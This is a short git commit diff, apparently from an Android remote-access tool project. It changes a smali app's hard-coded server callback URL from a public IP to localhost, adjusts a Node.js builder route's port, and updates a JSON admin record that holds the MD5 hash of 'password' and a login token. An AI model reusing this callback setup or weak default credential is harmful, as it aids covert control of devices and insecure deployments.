Cross compat

This commit is contained in:
ChrisStone07 2020-03-22 21:56:20 +05:30
parent 80604f474f
commit ac639565ea
6 changed files with 8 additions and 3 deletions

View File

@ -64,7 +64,7 @@
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
const-string v2, "http://3.6.95.182:22222?model=" const-string v2, "http://localhost:80?model="
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

Binary file not shown.

View File

@ -76,7 +76,7 @@ routes.get('/logout', isAllowed, (req, res) => {
routes.get('/builder', isAllowed, (req, res) => { routes.get('/builder', isAllowed, (req, res) => {
res.render('builder', { res.render('builder', {
// myPort: CONST.control_port // myPort: CONST.control_port
myPort: process.env.PORT myPort: process.env.PORT || CONST.control_port
}); });
}); });

View File

@ -2,7 +2,7 @@
"admin": { "admin": {
"username": "admin", "username": "admin",
"password": "5f4dcc3b5aa765d61d8327deb882cf99", "password": "5f4dcc3b5aa765d61d8327deb882cf99",
"loginToken": "d1b6b9a23de5b8be7371f39ad50f52f6", "loginToken": "1f5c2d499c7dc7ac4515371418633d20",
"logs": [ "logs": [
{ {
"time": "2020-01-11T15:23:07.971Z", "time": "2020-01-11T15:23:07.971Z",
@ -18,6 +18,11 @@
"time": "2020-01-11T16:08:04.582Z", "time": "2020-01-11T16:08:04.582Z",
"type": "SUCCESS", "type": "SUCCESS",
"message": "Build Succeded!" "message": "Build Succeded!"
},
{
"time": "2020-03-22T16:24:09.546Z",
"type": "SUCCESS",
"message": "Build Succeded!"
} }
], ],
"ipLog": [] "ipLog": []